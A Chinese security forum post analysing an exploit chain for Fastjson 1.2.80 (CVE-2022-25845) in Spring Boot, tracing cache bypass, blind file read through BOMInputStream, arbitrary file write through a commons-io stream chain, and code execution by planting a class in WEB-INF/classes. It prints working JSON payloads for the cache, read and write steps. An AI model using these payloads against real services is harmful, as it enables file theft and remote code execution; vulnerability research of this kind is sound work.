找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3888

积分

0

好友

503

主题
发表于 2 小时前 | 查看: 2| 回复: 0

所有依赖 Fastjson 版本 1.2.80 或更早版本的程序,在应用程序中如果包含使用用户数据调用 JSON.parseJSON.parseObject 方法,但不指定要反序列化的特定类,都会受此漏洞的影响。

Fastjson中JSONObject.parseObject方法的安全与非安全重载版本对比

在之前的研究中,针对 fastjson 1.2.80 已经有了三种常见的利用场景,你可以参考 GitHub 项目:su18/hack-fastjson-1.2.80。

Fastjson与Jython/OGNL/Groovy结合的利用场景架构图

漏洞复现

需要的依赖

  • jackson
  • commons-io

攻击思路

  1. InputStream 放入 fastjson 缓存。
  2. 读取 /tmp 文件下的文件,找到 docbase 的文件名。
  3. ${docbase}/WEB-INF/classes/ 路径下写入恶意类。
  4. 通过 fastjson 触发类加载。

已有相关的利用工具,可参考 GitHub 项目:ph0ebus/CVE-2022-25845-In-Spring。

漏洞利用过程终端截图,展示文件读取和恶意类写入操作

漏洞分析

cache

这个新的利用链同样利用了 fastjson 的缓存机制。

Fastjson缓存机制演进史与checkAutoType函数流程图

fastjson 反序列化符合条件的期望类时,会将 setter 参数、public 字段、构造函数参数的类型加到缓存中

判断类是否可作为gadget使用的条件流程图

我们先来分析一下添加缓存的具体过程。以下面的 payload 为例:

{"@type":"java.lang.Exception","@type":"com.fasterxml.jackson.core.exc.InputCoercionException"}

Fastjson的ParserConfig.checkAutoType()防御函数逻辑流程图

TypeUtils.getClassFromMapping() 中,代码会首先尝试从缓存中获取 java.lang.Exception 类。

调试截图:ParserConfig.checkAutoType方法中获取Exception类的过程

com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings 初始化方法中,默认添加了一些基础类作为缓存,其中就包含 Exception.class

TypeUtils.addBaseClassMappings方法源码,显示默认缓存的类列表

此时,缓存(mappings)中已经有了 95 个类。

调试信息截图,显示当前缓存映射中已包含的类

从缓存中获取到 class 后返回,然后继续恢复其字段信息。com.alibaba.fastjson.parser.ParserConfig#getDeserializer 方法会先通过获取到的 class 来寻找对应的反序列化器。

DefaultJSONParser.parseObject方法中获取反序列化器的代码片段

ParserConfig.getDeserializer(Type)方法源码

可以跟踪到这行关键的判断代码:

ParserConfig.getDeserializer(Class, Type)方法中针对Throwable子类的处理逻辑

根据Java异常体系的继承关系可以发现,java.lang.Exception 类符合 Throwable.class.isAssignableFrom(clazz) 这个判断条件,于是其反序列化器被设置为 ThrowableDeserializer

Java异常体系(Throwable)的思维导图

com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze 反序列化过程中,会将 Exception 作为期望类(expectClass)。

ThrowableDeserializer.deserialize方法开始部分,设置expectClass为Exception

然后解析 json 中的键值对,这里的 key 是 @type

ThrowableDeserializer.deserialize方法中解析@type键的循环代码

当 key 为 @type 时,会将 Throwable.class 作为期望类传入 com.alibaba.fastjson.parser.ParserConfig#checkAutoType() 进行校验。

ParserConfig.checkAutoType方法定义

ThrowableDeserializer.deserialize方法中调用checkAutoType的代码

传入的类名需要经过黑名单过滤和白名单校验。

ParserConfig.checkAutoType方法中的黑名单校验代码片段

继续跟进到这段代码,会根据传入的 typeName 来加载类。加载后,如果该类是期望类(Throwable.class)的子类,则会被加入到缓存 mappings 中。

ParserConfig.checkAutoType方法中加载类并加入缓存的逻辑

read

我们进一步分析一下实现任意文件读取的 payload:

{
  "a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\",    \"p\": {    }  }",
  "b": {
    "$ref": "$.a.a"
  },
  "c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonParser\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",  \"in\": {}}",
  "d": {
    "$ref": "$.c.c"
  }
}

利用循环引用($ref)尝试将字符串转换为对象并获取对象的值,按作者的话来说,这里是利用 JsonPath 来绕过原有的异常处理逻辑。

接着上面的分析,在恢复好 com.fasterxml.jackson.core.exc.InputCoercionException 对象后,代码会继续利用 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze 获取字段。根据 key 实例化出 FieldDeserializer 进行进一步处理。

ThrowableDeserializer.deserialize方法中处理其他字段值的逻辑

继续,会调用 TypeUtils#cast 方法进行类型转换。

调试信息截图:字段反序列化时调用TypeUtils.cast

com.alibaba.fastjson.util.TypeUtils#cast(java.lang.Object, java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig) 会根据传入的 obj 类型进行相应的转换。这里 obj 是一个空的 Map,因此会进入 Map 类型这个分支。

TypeUtils.cast方法中处理Map类型输入的代码片段

跟进到 com.alibaba.fastjson.util.TypeUtils#castToJavaBean(java.util.Map<java.lang.String,java.lang.Object>, java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig)。该方法会根据目标类型 clazz(此处为 com.fasterxml.jackson.core.JsonParser)获取对应的反序列化器。

TypeUtils.castToJavaBean方法源码

获取到反序列化器后,会调用 putDeserializer 函数:this.deserializers.put(type, deserializer)

ParserConfig.getDeserializer方法末尾将反序列化器放入缓存的代码

这里就会将 typedeserializer 存入 com.alibaba.fastjson.util.IdentityHashMap#buckets 中。

IdentityHashMap.put方法将键值对存入桶数组的代码

在后续恢复 com.fasterxml.jackson.core.JsonParser 类型时,调用 this.deserializers.findClass(typeName) 就可以从 com.alibaba.fastjson.util.IdentityHashMap#buckets 中获取到这个类。

ParserConfig.checkAutoType方法中从deserializers缓存查找类的代码

IdentityHashMap内部查找Class的findClass方法

com.fasterxml.jackson.core.json.UTF8StreamJsonParsercom.fasterxml.jackson.core.JsonParser 的子类。类似前面利用 java.lang.Exception 恢复 com.fasterxml.jackson.core.exc.InputCoercionException 一样,利用父类缓存可以绕过检查来反序列化子类。

ParserConfig.checkAutoType方法中检查期望类与加载类关系的逻辑

在实现 JsonParser 接口的类中,只有 UTF8StreamJsonParser 的构造参数包含 InputStream 类型,因此可以进一步利用其构造函数将 InputStream 对象放入缓存。

public UTF8StreamJsonParser(IOContext ctxt, int features, InputStream in, ObjectCodec codec, ByteQuadsCanonicalizer sym, byte[] inputBuffer, int start, int end, int bytesPreProcessed, boolean bufferRecyclable) {
    super(ctxt, features);
    this._quadBuffer = new int[16];
    this._inputStream = in;
    this._objectCodec = codec;
    this._symbols = sym;
    this._inputBuffer = inputBuffer;
    this._inputPtr = start;
    this._inputEnd = end;
    this._currInputRowStart = start - bytesPreProcessed;
    this._currInputProcessed = (long)(-start + bytesPreProcessed);
    this._bufferRecyclable = bufferRecyclable;
}

从Exception到InputCoercionException再到JsonParser的调用链图示

而获取 InputStream 的最终目的,就是为了实现任意文件读取。其核心原理在 BlackHat USA 2021 的议题《How I Used a JSON Deserialization Vulnerability to Read Arbitrary Files》中有详细阐述。

这里的利用链是通过 org.apache.commons.io.input.BOMInputStream 来逐字节盲读取文件。

BOMInputStream.getBOM()方法盲读文件的原理图

org.apache.commons.io.input.BOMInputStream#getBOM 中会调用 org.apache.commons.io.input.BOMInputStream#find 方法。

BOMInputStream.getBOM()方法源码

跟进 find 方法可以发现,这里先把 delegate 输入流的字节码转成 int 数组,然后拿 ByteOrderMark 对象里的字节数组挨个遍历去比对。如果遍历过程有比对错误的,getBom 方法就会返回 null;如果遍历结束没有比对错误,就会返回一个 ByteOrderMark 对象。

BOMInputStream.find()和matches()方法源码

因此,通过控制 ByteOrderMark 的字节序列与目标文件字节的匹配与否,即可实现逐字节盲读。最终,输入流的来源是 jdk.nashorn.api.scripting.URLReader,其构造函数 public URLReader(URL url) 可以传入一个 URL 对象,这意味着 file、jar、http 等协议都可以使用。在漏洞利用中,通常传入 file 协议来读取目录或文件。

write

接下来分析一下实现任意文件写入的 payload(已简化结构):

{
  "a": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.AutoCloseInputStream",
    "in": {
      "@type": "org.apache.commons.io.input.TeeInputStream",
      "input": {
        "@type": "org.apache.commons.io.input.CharSequenceInputStream",
        "cs": "${shellcode}",
        "charset": "iso-8859-1",
        "bufferSize": ${size}
      },
      "branch": {
        "@type": "org.apache.commons.io.output.WriterOutputStream",
        "writer": {
          "@type": "org.apache.commons.io.output.LockableFileWriter",
          "file": "${file2write}",
          "charset": "iso-8859-1",
          "append": true
        },
        "charset": "iso-8859-1",
        "bufferSize": 1024,
        "writeImmediately": true
      },
      "closeBranch": true
    }
  },
  "b": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
      "@type": "org.apache.commons.io.input.XmlStreamReader",
      "inputStream": {
        "$ref": "$.a"
      },
      "httpContentType": "text/xml",
      "lenient": false,
      "defaultEncoding": "iso-8859-1"
    },
    "charsetName": "iso-8859-1",
    "bufferSize": 1024
  },
  "c": {}
}

这个链子和 BlackHat 议题提到的有很多共通之处,都是利用 org.apache.commons.io.input.TeeInputStream#read() 方法在读取数据的同时,将数据写入分支(branch)输出流。

TeeInputStream.read()方法写入数据的原理图

但是,作者似乎找到了一个更好的链子,规避了原 Poc 链中存在的写入缓冲区 8192 字节限制。

写入字符串的字段委托关系图,说明规避缓冲区限制的方法

用于文件写入的InputStream/OutputStream类继承与调用关系图

write2RCE

最后需要探讨的是,在实现任意文件写入后,如何进一步达到远程代码执行(RCE)。

常见的做法例如覆盖 charsets.jar,利用 JVM 的懒加载机制,覆盖 JDK HOME 目录下原有的、尚未被加载的 charsets.jar 包。但这种方法需要知道 JDK HOME 路径、可能需要 root 权限、且需针对目标 JDK 版本准备恶意 jar 包,否则可能影响服务。

另一种思路是利用类加载机制,在 jdk home 目录下的 classes 目录中写入恶意 class 文件,然后通过 fastjson 的 @type 触发加载。

这里,作者利用了另一种类加载路径。在 fastjson 反序列化过程中,针对不在黑白名单且缓存中没有的类,会通过 com.alibaba.fastjson.util.TypeUtils#loadClass() 尝试加载。该方法会使用当前线程的上下文类加载器,在 Spring Boot 内嵌 Tomcat 环境下,通常是 TomcatEmbeddedWebappClassLoader

TypeUtils.loadClass方法源码,展示通过线程上下文类加载器加载类

根据双亲委派机制,最终会委派给 WebappClassLoaderBase 来加载。一路跟下去,可以在 org.apache.catalina.loader.WebappClassLoaderBase#findClass 中看到它会调用 org.apache.catalina.loader.WebappClassLoaderBase#findClassInternal 方法来寻找类。

WebappClassLoaderBase.findClass方法源码

跟进 findClassInternal 方法。

WebappClassLoaderBase.findClassInternal方法源码

进一步跟进 org.apache.catalina.webresources.StandardRoot#getClassLoaderResource 来追踪类资源加载的路径。

StandardRoot.getClassLoaderResource方法源码

StandardRoot.getResource方法源码

这里会判断 isCachingAllowed(),而 cachingAllowed 属性默认为 true。

public boolean isCachingAllowed() {
    return this.cachingAllowed;
}

StandardRoot类定义,显示cachingAllowed属性默认值为true

因此,会进入 org.apache.catalina.webresources.Cache#getResource 方法。

Cache.getResource方法源码

首先会调用 noCache 方法。对于路径以 .class 结尾且以 /WEB-INF/classes//WEB-INF/lib/ 开头的资源,该方法会返回 true,从而直接调用 this.root.getResourceInternal(path, useClassLoaderResources) 绕过缓存。

private boolean noCache(String path) {
    return path.endsWith(".class") && (path.startsWith("/WEB-INF/classes/") || path.startsWith("/WEB-INF/lib/")) || path.startsWith("/WEB-INF/lib/") && path.endsWith(".jar");
}

跟进 org.apache.catalina.webresources.StandardRoot#getResourceInternal

StandardRoot.getResourceInternal方法遍历资源集合并返回资源的逻辑

最终,资源查找会落到 DirResourceSet 等资源集合上。如果请求的 class 文件在对应的目录(如 ${docbase}/WEB-INF/classes/)下存在,就会正常返回该文件资源。

DirResourceSet.getResource方法源码,根据文件是否存在返回对应资源

因此,通过前面的任意文件写漏洞,将恶意 class 文件写入 ${docbase}/WEB-INF/classes/com/example/poc/PocException.class 路径后,再通过 fastjson 反序列化触发对该类(com.example.poc.PocException)的加载,即可成功执行恶意代码,达到 RCE 的目的。

总结

这条针对 Fastjson 1.2.80 的利用链,巧妙地将缓存绕过、逐字节文件读取、任意文件写入以及 Spring Boot 内嵌容器的特定类加载路径结合了起来,构成了一条完整的攻击链。理解这条链需要对 Java 反序列化机制、Fastjson 内部实现以及 Tomcat 类加载原理有较深的认识。对于开发者而言,及时升级 Fastjson 版本、避免反序列化不可信数据是根本的防御措施。对于安全研究者,这类漏洞的挖掘与分析,则深化了我们对安全防御机制和攻击面转化的理解。


本文技术分析基于公开安全研究,仅供学习交流。更多深入的技术讨论和实战资源,欢迎访问 云栈社区 的 Java 与安全板块。




上一篇:Python实战:从原理到代码,5分钟掌握大模型Function Calling
下一篇:实验物理学家迈克尔孙为何懊悔?爱因斯坦亲述:艺术的实验家与抽象理论的冲突
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-15 08:51 , Processed in 0.444570 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表